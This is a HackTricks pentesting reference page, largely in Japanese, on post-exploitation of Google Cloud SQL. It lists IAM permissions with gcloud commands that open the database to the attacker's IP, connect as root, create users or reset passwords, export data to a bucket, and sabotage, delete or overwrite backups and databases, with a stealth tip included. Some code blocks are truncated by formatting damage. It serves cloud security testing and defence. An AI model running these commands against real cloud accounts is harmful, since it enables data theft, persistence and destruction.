4.3 KiB
GCP - Cloud SQL Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
Cloud SQL
Cloud SQL の詳細については次を参照してください:
{{#ref}} ../gcp-services/gcp-cloud-sql-enum.md {{#endref}}
cloudsql.instances.update, ( cloudsql.instances.get)
データベースに接続するには、database port へのアクセスと username と password を知っていれば十分で、IAM の要件はありません。つまり、データベースが public IP address を持っている場合、簡単な方法は allowed networks を更新して your own IP address がアクセスできるようにする ことです。
自分の IP を許可して database に接続する
```bash # Use --assign-ip to make the database get a public IPv4 gcloud sql instances patch $INSTANCE_NAME \ --authorized-networks "$(curl ifconfig.me)" \ --assign-ip \ --quietmysql -h <ip_db> # If mysql
With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet
</details>
また、**`--no-backup`** を使用してデータベースのバックアップを**妨害する**ことも可能です。
これらが要件として書かれているため、**`cloudsql.instances.connect`** と **`cloudsql.instances.login`** の権限が正確に何をするものか私は完全には確信が持てません。もしご存知ならPRを送ってください!
### `cloudsql.users.list`
データベースの**全ユーザーの一覧**を取得します:
<details>
<summary>データベースのユーザー一覧</summary>
```bash
gcloud sql users list --instance <intance-name>
cloudsql.users.create
この権限により、データベース内に新しいユーザーを作成することができます:
データベースユーザーを作成
```bash gcloud sql users create --instance --password ```cloudsql.users.update
この権限はデータベース内のユーザーを更新することを許可します。たとえば、そのパスワードを変更できます:
ユーザーのパスワードを更新
```bash gcloud sql users set-password --instance --password ```cloudsql.instances.restoreBackup, cloudsql.backupRuns.get
バックアップには古い機密情報が含まれている可能性があるため、確認する価値がある。
データベース内でバックアップを復元する:
データベースのバックアップを復元
```bash gcloud sql backups restore --restore-instance ```よりステルスに行うには、現在稼働中のデータベースで復元するのではなく、新しい SQL インスタンスを作成してそちらでデータを復元することを推奨します。
cloudsql.backupRuns.delete
この権限はバックアップを削除することを許可します:
バックアップを削除
```bash gcloud sql backups delete --instance ```cloudsql.instances.export, storage.objects.create
データベースをエクスポートする — Cloud Storage Bucket にエクスポートして、そこからアクセスできるようにします:
データベースをバケットにエクスポート
```bash # Export sql format, it could also be csv and bak gcloud sql export sql --database ```cloudsql.instances.import, storage.objects.get
データベースをインポート(上書き)を Cloud Storage Bucket から実行:
バケットからデータベースをインポート
```bash # Import format SQL, you could also import formats bak and csv gcloud sql import sql ```cloudsql.databases.delete
db インスタンスからデータベースを削除する:
データベースを削除
```bash gcloud sql databases delete --instance ```{{#include ../../../banners/hacktricks-training.md}}